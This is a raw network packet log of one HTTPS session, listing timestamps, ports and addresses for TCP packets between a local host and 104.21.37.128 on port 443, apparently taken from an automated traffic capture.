Dec 27, 2024 20:17:57.033580065 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.033586979 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.033622026 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.040745974 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.040761948 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.040818930 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.040827990 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.040859938 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.047508955 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.047523975 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.047590971 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.047600031 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.047631979 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.208622932 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.208657026 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.208750010 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.208766937 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.208805084 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.215775967 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.215794086 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.215893984 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.215902090 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.215940952 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.222842932 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.222858906 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.222934008 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.222944975 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.222982883 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.230204105 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.230220079 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.230276108 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.230287075 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.230321884 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.237097025 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.237113953 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.237189054 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.237196922 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.237234116 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.244158030 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.244175911 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.244245052 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.244254112 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.244288921 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.251305103 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.251324892 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.251395941 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.251405001 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.251440048 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.258095026 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.258115053 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.258183002 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.258192062 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.258229971 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.419075012 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.419097900 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.419136047 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.419166088 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.419178009 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.419200897 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.426393986 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.426412106 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.426455975 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.426482916 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.426493883 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.426518917 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.433681011 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.433696032 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.433754921 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.433763027 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.433804035 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.440793037 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.440809965 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.440861940 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.440872908 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.441339016 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.447319031 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.447335005 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.447393894 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.447403908 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.447443008 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.455445051 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.455461025 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.455538988 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.455550909 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.455588102 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.461822033 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.461838007 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.461905956 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.461920977 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.461956024 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.470149994 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.470166922 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.470208883 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.470217943 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.470246077 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.470254898 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.629771948 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.629800081 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.629897118 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.629914999 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.629956961 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.636897087 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.636912107 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.636995077 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.637001991 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.637037039 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.643866062 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.643882036 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.643954039 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.643961906 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.643995047 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.651465893 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.651480913 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.651547909 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.651559114 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.651575089 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.651595116 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.657917023 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.657932043 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.657999039 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.658010006 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.658046961 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.665139914 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.665162086 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.665220976 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.665230036 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.665266037 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.672219038 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.672234058 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.672307014 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.672316074 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.672357082 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.679327965 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.679344893 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.679411888 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.679424047 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.679460049 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.840183973 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.840214968 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.840264082 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.840284109 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.840296984 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.840318918 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.843440056 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.843517065 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.850531101 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.850545883 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.850620031 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.850634098 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.857557058 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.857584000 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.857630014 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.857637882 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.857649088 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.863995075 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.864017010 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.864068031 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.864079952 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.864089966 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.871442080 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.871471882 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.871552944 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.871560097 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.878614902 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.878629923 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.878705025 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.878714085 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.885010958 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.885030031 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.885092020 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.885101080 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:57.885113001 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:57.935331106 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.047038078 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.047055006 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.047076941 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.047099113 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.047107935 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.047131062 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.047148943 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.054744959 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.054760933 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.054821968 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.054830074 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.054871082 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.061392069 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.061407089 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.061490059 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.061501980 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.061539888 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.068788052 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.068803072 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.068896055 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.068909883 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.068948984 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.074793100 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.074815989 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.074867010 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.074875116 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.074898958 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.074919939 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.082798958 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.082814932 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.082890034 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.082899094 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.082937956 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.090287924 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.090302944 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.090378046 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.090385914 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.090420961 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.096960068 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.096976042 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.097044945 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.097054005 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.097093105 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.257673025 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.257698059 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.257807970 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.257821083 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.257865906 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.264986038 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.265014887 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.265053034 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.265065908 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.265088081 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.265110970 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.272177935 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.272198915 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.272265911 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.272273064 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.272305012 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.281148911 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.281168938 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.281219959 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.281229019 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.281256914 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.281275988 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.286653996 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.286672115 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.286740065 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.286751986 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.286786079 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.292587042 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.292614937 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.292660952 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.292670965 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.292692900 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.292709112 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.299844027 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.299866915 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.299933910 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.299942017 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.299962044 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.299983978 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.307255030 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.307280064 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.307334900 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.307343960 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.307358980 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.307383060 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.467679977 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.467704058 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.467776060 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.467802048 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.467833996 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.475188017 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.475203037 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.475295067 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.475303888 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.475339890 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.481606960 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.481622934 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.481705904 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.481734037 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.481776953 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.489226103 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.489240885 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.489321947 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.489331007 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.489365101 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.496655941 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.496671915 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.496752977 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.496764898 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.496807098 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.503012896 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.503030062 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.503115892 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.503130913 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.503171921 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.510358095 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.510375977 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.510448933 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.510458946 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.510499954 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.517626047 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.517642975 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.517718077 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.517728090 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.517765045 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.678910971 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.678941965 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.679096937 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.679109097 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.679152966 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.686172009 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.686196089 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.686232090 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.686239004 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.686266899 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.686285973 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.693054914 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.693074942 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.693133116 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.693140984 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.693176985 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.700064898 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.700079918 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.700141907 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.700148106 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.700181961 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.707578897 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.707592964 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.707645893 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.707652092 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.707684994 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.713702917 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.713716984 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.713779926 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.713785887 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.713821888 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.721272945 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.721287012 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.721343994 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.721350908 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.721389055 CET	49746	443	192.168.2.4	104.21.37.128
Dec 27, 2024 20:17:58.728384018 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.728398085 CET	443	49746	104.21.37.128	192.168.2.4
Dec 27, 2024 20:17:58.728447914 CET	49746	443	192.168.2.4	104.21.37.128
